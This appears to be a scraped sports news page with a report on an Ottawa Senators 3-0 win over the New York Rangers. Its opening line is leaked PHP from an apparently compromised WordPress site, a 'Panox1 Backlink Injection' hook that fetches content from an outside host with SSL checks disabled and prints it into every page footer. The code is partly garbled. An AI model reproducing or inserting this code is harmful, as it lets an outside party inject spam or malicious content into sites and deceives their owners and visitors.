// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Senators catch Rangers sleeping, win 3-0 in Ottawa on Sunday – Next Sports News

Senators catch Rangers sleeping, win 3-0 in Ottawa on Sunday

[ad_1]

The Rangers must be tired of seeing their own reflections considering how many times a maddeningly poor performance has forced them to look in the mirror, like Sunday afternoon’s 3-0 sleepwalk defeat to the Senators in Ottawa.

Alain Vigneault’s team wasn’t ready to play. That is rare and difficult to believe but true. They paid for it with their fourth shutout loss of the season, snapping a two-game winning streak with only Monday night’s home game against the Buffalo Sabres remaining before their NHL All-Star break.

Rick Nash (day-to-day) sat out with a sore leg after blocking a shot in Friday night’s 4-1 win in Carolina, giving way for Chris Kreider to return after skipping the Hurricanes matches due to neck spasms.

The Blueshirts (26-17-5, 57 points), however, couldn’t even get their legs going until the second period. They allowed 30 Senators shot attempts in the first period thanks mostly to puck mismanagement. Kevin Klein began a rough afternoon with a turnover. Dan Boyle gave the puck away on each of his first three shifts.

Henrik Lundqvist (30 saves) kept the game scoreless deep into the second period, when the Rangers tightened a bit defensively. But a Derick Brassard giveaway and a poor all-around shift from Viktor Stalberg – bumped up to Brassard’s line for a time in Nash’s absence – gave way to Bobby Ryan’s goal for Ottawa with 19.9 seconds to play in the second period for a 1-0 Senators lead after two.

Ryan, of Cherry Hill, N.J., beat Klein to a rebound in the crease.

SPEED THRILLS FOR RANGERS AS STALBERG FILLS HAGELIN VOID

MANDATORY CREDITFred Chartrand/AP

Senators forward Bobby Ryan (c.) beats Kevin Klein to a rebound behind Henrik Lundqvist to jam home Ottawa’s first goal.

Ottawa forward Mike Hoffman buried the Blueshirts by ripping a wrist shot home on an odd-man rush 2:40 into the third period, after Ryan McDonagh pinched but didn’t have enough defensive support from newcomer Daniel Paille. Then Jean Gabriel-Pageau rubbed it in with a long-distance empty-net goal at 17:38 after McDonagh whiffed on a pass for the offensive zone turnover.

Craig Anderson (35 saves) did not have as difficult an afternoon as his save total indicated. The Senators (23-20-6, 52 points) entered with only one regulation win in their previous 12 games (4-8-0 with one shootout win and two OT victories). They are not a playoff team. But they had no problem blanking the Rangers through 60 minutes.

The Rangers defiantly demand that they deserve more respect than they’re getting from outsiders this season, but Sunday was only the latest proof that they haven’t earned it. The Senators came in with the second-worst penalty kill in the NHL (75.2), but the Rangers’ power play went 0-for-3, falling to an unthinkable 1-for-30 in their last 11 games.

MANDATORY CREDITFred Chartrand/AP

Senators goaltender Craig Anderson holds the Rangers scoreless.

Boyle’s frequent turnovers, his ineffectiveness on the power play, and his 10-game streak without a single point are the latest factors to beg the question: What is rookie defenseman Dylan McIlrath doing as a healthy scratch night after night?

Rangers GM Jeff Gorton and Vigneault need to either play McIlrath or trade him. He proved earlier this season that he can play in the NHL. He only turns 24 on April 20, which adds to his value. And this coaching staff clearly doesn’t intend to play him even though he is a superior option to multiple veterans on the right side.

FOLLOW THE DAILY NEWS SPORTS ON FACEBOOK. “LIKE” US HERE.

Senators D Mark Borowiecki (r.) skates after the puck as Rangers C Derick Brassard gives chase.Marc DesRosiers/USA Today Sports

Senators D Mark Borowiecki (r.) skates after the puck as Rangers C Derick Brassard gives chase.

On the subject of the Rangers’ most glaring weaknesses: if this is the Brassard that will continue to dress for the Blueshirts the rest of this season, this team is going absolutely nowhere.

The team’s top offensive center was in a huge slump before missing Tuesday night’s home win over Vancouver with an illness. Perhaps that factored into his poor showing Friday in North Carolina.

He did put six shots on Anderson on Sunday, but Brassard has to be a shift-to-shift difference-maker or the Rangers will be looking at more donuts on the scoreboard like they did on Sunday.

Tags:
bobby ryan ,
mike hoffman ,
jean gabriel-pageau ,
henrik lundqvist ,
craig anderson ,
new york rangers ,
ottawa senators ,
dylan mcilrath ,
derick brassard ,
nhl

[ad_2]

Source link

Reply